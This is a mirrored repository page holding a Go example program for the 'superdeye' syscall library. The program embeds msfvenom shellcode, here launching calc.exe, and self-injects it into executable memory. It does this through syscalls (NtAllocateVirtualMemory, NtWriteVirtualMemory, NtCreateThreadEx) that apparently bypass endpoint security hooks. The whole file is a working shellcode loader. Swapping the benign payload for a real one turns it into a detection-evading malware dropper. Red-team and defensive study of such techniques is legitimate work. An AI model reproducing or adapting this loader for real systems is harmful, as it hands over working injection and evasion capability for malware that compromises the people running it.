mirror of
https://github.com/almounah/superdeye
synced 2026-06-06 15:14:30 +00:00
Rudeus Greyrat
71 lines
3.5 KiB
Go
71 lines
3.5 KiB
Go
package main
|
|
|
|
import (
|
|
"fmt"
|
|
"unsafe"
|
|
|
|
"github.com/almounah/superdeye"
|
|
"golang.org/x/sys/windows"
|
|
)
|
|
|
|
func main() {
|
|
// Shellcode with msfvenom -p windows/x64/exec CMD="calc.exe" EXITFUNC=thread -f go
|
|
payloadClearText := []byte{
|
|
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc0, 0x00, 0x00,
|
|
0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65,
|
|
0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20,
|
|
0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9,
|
|
0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1,
|
|
0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b,
|
|
0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x8b, 0x80, 0x88, 0x00,
|
|
0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b,
|
|
0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48,
|
|
0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9,
|
|
0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38,
|
|
0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75,
|
|
0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b,
|
|
0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04,
|
|
0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41,
|
|
0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff,
|
|
0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x57, 0xff, 0xff,
|
|
0xff, 0x5d, 0x48, 0xba, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
|
0x48, 0x8d, 0x8d, 0x01, 0x01, 0x00, 0x00, 0x41, 0xba, 0x31, 0x8b, 0x6f,
|
|
0x87, 0xff, 0xd5, 0xbb, 0xe0, 0x1d, 0x2a, 0x0a, 0x41, 0xba, 0xa6, 0x95,
|
|
0xbd, 0x9d, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x28, 0x3c, 0x06, 0x7c, 0x0a,
|
|
0x80, 0xfb, 0xe0, 0x75, 0x05, 0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00,
|
|
0x59, 0x41, 0x89, 0xda, 0xff, 0xd5, 0x63, 0x61, 0x6c, 0x63, 0x2e, 0x65,
|
|
0x78, 0x65, 0x00,
|
|
}
|
|
|
|
// Self Inject, so getting current process Handle
|
|
handleProcess := uintptr(0xffffffffffffffff)
|
|
|
|
// NtAllocateVirtualMemory is predefined in superdeye. I will just use it.
|
|
pBaseAddress, NTSTATUS, err := superdeye.NtAllocateVirtualMemory(windows.Handle(handleProcess), uintptr(0), uintptr(len(payloadClearText)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_EXECUTE_READWRITE)
|
|
if err != nil {
|
|
// If we are here, it means the syscall was never made. Probably an issue with the Hell Hall Implmentation etc.
|
|
fmt.Println(err.Error())
|
|
}
|
|
// The syscall is made, so lets print NTSTATUS to check if it is 0.
|
|
fmt.Println("Syscall NtAllocateVirtualMemory Made with NTSTATUS ", NTSTATUS)
|
|
|
|
var numberOfBytesWritten uintptr
|
|
NTSTATUS, err = superdeye.NtWriteVirtualMemory(windows.Handle(handleProcess), pBaseAddress, &payloadClearText[0], uintptr(len(payloadClearText)), &numberOfBytesWritten)
|
|
if err != nil {
|
|
fmt.Println(err.Error())
|
|
}
|
|
fmt.Println("Syscall NtWriteVirtualMemory Made with NTSTATUS ", NTSTATUS)
|
|
|
|
// NtCreateThreadEx is not predefined in SuperdEye. I just call it using a SuperdSyscall.
|
|
var hThread uintptr
|
|
NTSTATUS, err = superdeye.SuperdSyscall("NtCreateThreadEx", uintptr(unsafe.Pointer(&hThread)), uintptr(0x1FFFFF), uintptr(0), handleProcess, pBaseAddress, uintptr(0), uintptr(0), uintptr(0), uintptr(0), uintptr(0), uintptr(0))
|
|
if err != nil {
|
|
fmt.Println(err.Error())
|
|
}
|
|
fmt.Println("Syscall NtCreateThreadEx Made with NTSTATUS ", NTSTATUS)
|
|
|
|
// Dummy Variable to hang the program until ENTER is pressed on Keyboard
|
|
var enter string
|
|
fmt.Scanln(&enter)
|
|
}
|